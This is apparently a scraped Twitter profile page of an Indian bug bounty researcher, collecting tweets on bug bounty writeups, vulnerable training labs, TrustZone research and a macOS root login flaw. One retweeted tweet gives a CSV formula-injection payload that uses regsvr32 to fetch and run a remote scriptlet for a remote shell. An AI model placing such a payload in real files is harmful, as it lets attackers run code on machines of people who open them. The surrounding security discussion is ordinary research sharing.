Harsha Vardhan

Interested in InfoSec & Startups; Making the internet a secure place, one app at a time; I also tweet at @harshaboppana

[Harsha Vardhan @hvboppana]

🙂

[Akhil Renikunta @akhilreni_hs]

India BBP community should thank @hvboppana - This guy is one of the earliest bug bounty hunters from India and inspired soo many other pps like me to get into it.

[Harsha Vardhan @hvboppana]

Now take your InfoSec career to the next level with @Offensivelabsin. All the best @rahulvenati🙂

[The Offensive Labs @Offensivelabsin]

Announcing our new Subscription model. Now get access to all our current and upcoming courses. Choose the best plan that fits your learning goals. Here is a discounted link https://t.co/4Z5XsUagio
#infosec #cybersecurity #mobilehacking #kubernetessecurity #ethicalhacking

[Kelly Shortridge @swagitda_]

Fantasy threat model: Mossad breaks into your apartment to steal your Yubikey

Realistic threat model: Your cat proudly eats your Yubikey

[Harsha Vardhan @hvboppana]

🙂 https://t.co/XzyitlKH9Y

[Abhijeth D @abhijeth]

Who inspired you to do more bug bounties?
Five years ago @hvboppana inspired me :)
#BugBounty #Synack #Bugcrowd #Hackerone #cobalt
Just want to thank all those bug bounty researchers who inspire each other every day.

[Harsha Vardhan @hvboppana]

@paytmbankcare Check DM

[Patrik Grobshäuser @ITSecurityguard]

This is one of the best Jailbreaking (published) research i've seen so far by @coalfirelabs

https://t.co/9LVH9i5Lm9

[Daniel Komaromy @kutyacica]

Exploring and Breaking Samsung’s TrustZone: a blog series Parts I-II-III https://t.co/UmO0fqPk3x

[Josip Franjković @JosipFranjkovic]

Hacking Facebook accounts using CSRF in Oculus-Facebook integration
- https://t.co/xEP3qoeYJD
#BugBounty

[🐘 @[email protected] @therealsaumil]

Announcing #DVAR - Damn Vulnerable ARM Router - a beginner's exercise for the #ARM #IoT #ExploitLab.

Download: https://t.co/gEog3jegSm

Pairs perfectly with @Fox0x01 ARM Tutorials https://t.co/FEDk8hGG4q

Wish you all a happy 2018, lot of PC=0x41414140 and many ARM shells!

[Frans Rosén @fransrosen]

"How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting"

https://t.co/kE3xhKvQ2p

[Corben Leo @hacker_]

☢ Write-Up Alert: "Chaining Bugs to Steal Yahoo Contacts!"
https://t.co/I5KPWExwtK

[Mathy Vanhoef @vanhoefm]

Finally, WPA3!! It will include a more secure handshake: "WPA3 will deliver robust protections even when users choose passwords that fall short of typical complexity recommendations" https://t.co/9Ty1SrI1VB

[Andrew Mabbitt @MabbsSec]

Why do we keep talking about Advanced Persistent Threats when most companies cannot deal with a Simple Persistent Threat?

[Antonio Sanz @antoniosanzalc]

A wonderful, practical example of android app analysis: https://t.co/aeZzPgVf3L #security

[Paulos Yibelo @PaulosYibelo]

Exploiting a tricky and fun XSS on Zendesk. https://t.co/YY0TBhfza5 #bugbounty

[James Kettle @albinowax]

Safari allows special characters in the domain?! This is insane, they should patch that ASAP: https://t.co/qR2vtRROiI

[Dave Cossa @G0ldenGunSec]

Fun way to get a remote shell via a .csv file, without the use of powershell.exe

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

[Siddharth Bezalwar @fattu_medjai]

Learn how to attack REST API with Tiredful API, an opensource vulnerable API app.
https://t.co/xPSpdMk88M
cc: @payatulabs

[@[email protected] @SecurityMB]

Blogged! Three Google Caja sandbox escapes thanks to new ECMAScript features :) https://t.co/J64nuOHmlo

#vrp #bugbounty #caja

[Lemi Orhan Ergin @lemiorhan]

Dear @AppleSupport, we noticed a *HUGE* security issue at MacOS High Sierra. Anyone can login as "root" with empty password after clicking on login button several times. Are you aware of it @Apple?